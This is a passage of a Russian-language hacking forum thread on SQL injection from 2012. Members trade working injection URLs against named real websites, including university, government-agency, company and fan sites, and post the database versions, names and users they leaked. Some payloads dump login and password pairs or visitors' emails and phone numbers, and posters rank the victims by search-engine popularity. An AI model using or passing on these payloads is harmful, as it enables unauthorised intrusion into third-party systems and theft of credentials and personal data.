SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. Га-Ноцри

    Га-Ноцри Elder - Старейшина

    Joined:
    16 Oct 2011
    Messages:
    329
    Likes Received:
    177
    Reputations:
    76
    ТИЦ == 10, PR == 5, DMOZ == true(Monterey » Business and Economy);

    PHP:
    http://www.backscatter.com/learn/article/article.php?ID=57+and+(select+1+from(select+count(*),concat(database(),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)--
    ТИЦ == 10, PR == 6;

    PHP:
    http://www.gqrr.com/index.php?ID=-408+union+select+1,2,3,4,5,6,7,8,9,10,11,12,unhex(hex(version())),14--
     
    #15021 Га-Ноцри, 1 Jul 2012
    Last edited: 1 Jul 2012
    2 people like this.
  2. HellFire

    HellFire Elder - Старейшина

    Joined:
    18 Jan 2009
    Messages:
    98
    Likes Received:
    78
    Reputations:
    40
    Кадровый клуб Санкт-Петербурга.

    Code:
    http://www.kkspb.ru/index.php?id_category=1+UNION+SELECT+1,2,3,CONCAT(Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User()),5,6,7,8,9,10--
    Database Version: 4.1.22-lk-log
    Database name: kkspbru
    User name: kkspbru@localhost

    ТИЦ: 20
    PR: 0


    Путеводитель по отелям и гостиницам.

    Code:
    http://www.hotelstop.ru/opinn1.php?num=1-1+UNION+SELECT+1,CONCAT(Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User()),3--
    Вывод в титле.

    Database Version: 4.0.27-log
    Database name: delinform
    User name: delinform@localhost

    ТИЦ: 40
    PR: 3


    Недвижимость Кирова.

    Code:
    http://www.homekirov.ru/read_news.php?num=1-1.1+UNION+SELECT+1,CONCAT(Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User()),3,4,5,6,7,8,9--
    Database Version: 5.1.58-log
    Database name: cl26429_home
    User name: cl26429_home@localhost

    ТИЦ: 10
    PR: 2


    Интернет портал СНГ.

    Code:
    http://e-cis.info/index.php?id=1+UNION+SELECT+1,2,3,4,CONCAT(Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User()),6,7,8,9--
    File_Priv = Y

    Database Version: 5.0.67-community-nt
    Database name: info
    User name: ispolkom@localhost

    ТИЦ: 40
    PR: 5


    Сиамский университет.

    Code:
    http://admission.siam[COLOR=Red].edu[/COLOR]/board/board_topic_detail.php?tid=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,CONCAT(Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User()),11,12--
    Database Version: 5.0.95
    Database name: SIAM_ADMISSION
    User name: siam_admission@localhost

    ТИЦ: 0
    PR: 4


    Фан-сайт Сталина.

    Code:
    http://www.stalinproject.com/secondary.php?id_subject=1+UNION+SELECT+1,CONCAT(Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User()),3,4,5,6-- 
    Database Version: 5.0.27-standard
    Database name: StalinProject
    User name: root@localhost

    ТИЦ: 0
    PR: 4


    ООО "Пермрегионгаз"

    Code:
    http://www.prg.perm.ru/index.php?Template=NewsDetail&MessageID=1+UNION+SELECT+1,2,3,4,5,6,7,8,CONCAT(Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User()),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24--
    Database Version: 5.1.42
    Database name: prg_prg
    User name: prg_prg@localhost

    ТИЦ: 20
    PR: 3


    Интернет-аукцион антиквариата.

    Code:
    http://www.antikwariat.ru/categories.php?parent_id=2000+UNION+SELECT+1,CONCAT(Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User()),3+LIMIT+1,1--
    Вывод в титле.

    Database Version: 5.1.61
    Database name: antikwar
    User name: antikwar_user@localhost

    ТИЦ: 250
    PR: 4
     
    #15022 HellFire, 1 Jul 2012
    Last edited: 1 Jul 2012
    1 person likes this.
  3. kingbeef

    kingbeef Reservists Of Antichat

    Joined:
    8 Apr 2010
    Messages:
    367
    Likes Received:
    164
    Reputations:
    126
    Оксфорд

    Пасивка на оксфорде

     
    _________________________
    #15023 kingbeef, 2 Jul 2012
    Last edited: 7 Jul 2012
    1 person likes this.
  4. Га-Ноцри

    Га-Ноцри Elder - Старейшина

    Joined:
    16 Oct 2011
    Messages:
    329
    Likes Received:
    177
    Reputations:
    76
    Астрологический институт Павла Глобы, лол.

    ТИЦ == 10, PR == 2;

    PHP:
    http://globainstitut.ru/index.php?id=-16+union+select+1,2,3,4,5,6,concat_ws(0x03a,login,password),8+from+users--
    Вывод в source.

    PR == 5;

    Cобственно, Oracle. У кого есть желание из спортивного интереса поковыряться - вот наглядный пример. Число колонок подобрано, равно как и выявлено принтабельное поле. Дальше лень :)

    PHP:
    http://www.observacoop.org.mx/ActoresListado.php?id_actor=-581+union+select+null,to_char(777),null,null,null,null,null,null,null,null,null,null,null,null,null+from+sys.dual--
     
    #15024 Га-Ноцри, 3 Jul 2012
    Last edited: 3 Jul 2012
    3 people like this.
  5. HellFire

    HellFire Elder - Старейшина

    Joined:
    18 Jan 2009
    Messages:
    98
    Likes Received:
    78
    Reputations:
    40
    Федеральное агентство морского и речного транспорта.

    Code:
    http://www.morflot.ru/index.php?news_id=1-1+UNION+SELECT+1,2,AES_DECRYPT(AES_ENCRYPT(CONCAT(Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User()),0x71),0x71),4--
    Database Version: 5.0.67
    Database name: morflot
    User name: root@localhost

    ТИЦ: 1200
    PR: 6


    Международное евразийское движение.

    Code:
    http://evrazia.info/modules.php?name=News&file=article&sid=1-1+UNION+SELECT+1,CONCAT(Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User()),3,4,5,6,7,8,9,10,11,12,13,14--
    Database Version: 5.1.61
    Database name: evrazia
    User name: [email protected]

    ТИЦ: 130
    PR: 4
     
    #15025 HellFire, 3 Jul 2012
    Last edited: 3 Jul 2012
    2 people like this.
  6. Zed0x

    Zed0x Member

    Joined:
    4 Jun 2012
    Messages:
    114
    Likes Received:
    29
    Reputations:
    23
    Юридическая компания "Богатовъ и К"
    MySQL >5.
    Если кто в админку зайдет постучите в личку плиз, мне сосед его по IP нужен.
    ________________________________________
    Заказ и доставка билетов:
    MySQL >5, phpinfo: http://biletoff.ru/info.php
     
    #15026 Zed0x, 3 Jul 2012
    Last edited: 3 Jul 2012
  7. ^NSA^

    ^NSA^ Elder - Старейшина

    Joined:
    3 Jul 2012
    Messages:
    64
    Likes Received:
    29
    Reputations:
    32
    Новости


    unisep

     
    #15027 ^NSA^, 3 Jul 2012
    Last edited: 4 Jul 2012
  8. Га-Ноцри

    Га-Ноцри Elder - Старейшина

    Joined:
    16 Oct 2011
    Messages:
    329
    Likes Received:
    177
    Reputations:
    76
    ТИЦ == 100, PR == 2, ЯK == true, DMOZ == true;

    PHP:
    http://www.varvara-music.ru/press.html?id=77777+union+select+1,2,3,concat_ws(0x03a,database(),user(),version()),5,6,7,8,9,10,11,12--
     
    2 people like this.
  9. VY_CMa

    VY_CMa Green member

    Joined:
    6 Jan 2012
    Messages:
    917
    Likes Received:
    492
    Reputations:
    724
    Любителям хардкора посвящается:
    pr=4
    cy=10
    dmoz=true
     
    _________________________
    3 people like this.
  10. A_n_d_r_e_i

    A_n_d_r_e_i Elder - Старейшина

    Joined:
    2 Sep 2009
    Messages:
    202
    Likes Received:
    277
    Reputations:
    32
    Хардкора говоришь?
    http://pornman.ru/onload2.php?p2=-18+union+select+1,2,3,4,5,6,7,8,9,10--
     
  11. Га-Ноцри

    Га-Ноцри Elder - Старейшина

    Joined:
    16 Oct 2011
    Messages:
    329
    Likes Received:
    177
    Reputations:
    76
    Завязывайте с порно, господа :) Вот вам вполне симпатичный и интересный сайт, посвященный "киноляпам":)

    ТИЦ == 150, PR == 5, трафф; юзвери == ~27k;
    PHP:
    http://www.moviemistakes.com/submission_mistake.php?titleid=-3267+union+select+count(*),2,3,4+from+member--
     
  12. A_n_d_r_e_i

    A_n_d_r_e_i Elder - Старейшина

    Joined:
    2 Sep 2009
    Messages:
    202
    Likes Received:
    277
    Reputations:
    32
    Code:
    http://www.centrodiesel.com.co/html/noticias_det.php?id=-29+union+select+1,group_concat(0x0b,id,0x3a,fecha,0x3a,hora,0x3a,empresa,0x3a,cargo,0x3a,email,0x3a,telefono,0x3a,ciudad,0x3a,comentario,0x3a,nombre),3,4,5+from+goblesei_mail.formualrio_web--
     
    #15032 A_n_d_r_e_i, 5 Jul 2012
    Last edited: 6 Jul 2012
  13. ^NSA^

    ^NSA^ Elder - Старейшина

    Joined:
    3 Jul 2012
    Messages:
    64
    Likes Received:
    29
    Reputations:
    32
    filmmakersjournal

     
  14. ^NSA^

    ^NSA^ Elder - Старейшина

    Joined:
    3 Jul 2012
    Messages:
    64
    Likes Received:
    29
    Reputations:
    32
    logosfor

     
  15. aydin-ka

    aydin-ka Elder - Старейшина

    Joined:
    3 May 2009
    Messages:
    316
    Likes Received:
    98
    Reputations:
    29
    PR 8 ;)

    PHP:
    http://www.bsun.org/?web=bsun&task=-1%27+union+select+1,2,@@version,4,5,6,7,8--+
     
    4 people like this.
  16. kalashonokk

    kalashonokk New Member

    Joined:
    20 May 2012
    Messages:
    1
    Likes Received:
    0
    Reputations:
    -5
    http://www.cscl.ru/news_cats.php?cat_id=1'
    Пожалуйста, помогите дальше раскрутить
     
  17. kingbeef

    kingbeef Reservists Of Antichat

    Joined:
    8 Apr 2010
    Messages:
    367
    Likes Received:
    164
    Reputations:
    126
    .edu

    Тиц 1800
    PR 8

    PHP:
    http://lwlimages.library.yale.edu/strawberryhill/oneitem.asp?id=-1'%20or%201=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+('shprov','shplocation','test_DISTINCT_IDs','Biography','test_MERGED','test_SINGLE_ID','shmain','this_SET','shobjectsfull','z_creatortemp','shobjectsfull(bak)','shfull','shobjectsmain','shcategory','shcreator','shmaterials','shrole','shtechnique','shobjectsmain(bak)'))--
    дальше устал))
     
    _________________________
    2 people like this.
  18. kingbeef

    kingbeef Reservists Of Antichat

    Joined:
    8 Apr 2010
    Messages:
    367
    Likes Received:
    164
    Reputations:
    126
    Кембриджский университет

    Тиц 1900
    PR 9

    PHP:
    http://www.lib.cam.ac.uk/exhibitions/KJV/codex.php?id=-1+union+select+11111111,22222222,333333333,4444444,555555555--+f
    Вывод в исходном коде на 72 строке

    PHP:
    http://www.lib.cam.ac.uk/exhibitions/KJV/codex.php?id=-1+union+select+11111111,22222222,333333333,version(),555555555--+f
    4.1.22-log



    PHP:
    http://www.divinity.cam.ac.uk/index.php?option=com_mifaq&view=category&id=-1+union+select+1,2,(select(@x)from(select(@x:=0x00),(select(null)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(0x00)in(@x:=concat(@x,0x3c62723e,table_schema,0x2e,table_name,0x3a,column_name))))x),4--+f
    File_Priv=Y
     
    _________________________
    1 person likes this.
  19. ^NSA^

    ^NSA^ Elder - Старейшина

    Joined:
    3 Jul 2012
    Messages:
    64
    Likes Received:
    29
    Reputations:
    32
    tomax

     
  20. MaxFast

    MaxFast Elder - Старейшина

    Joined:
    12 Oct 2011
    Messages:
    575
    Likes Received:
    149
    Reputations:
    94
    morewo_liva@localhost
     
Thread Status:
Not open for further replies.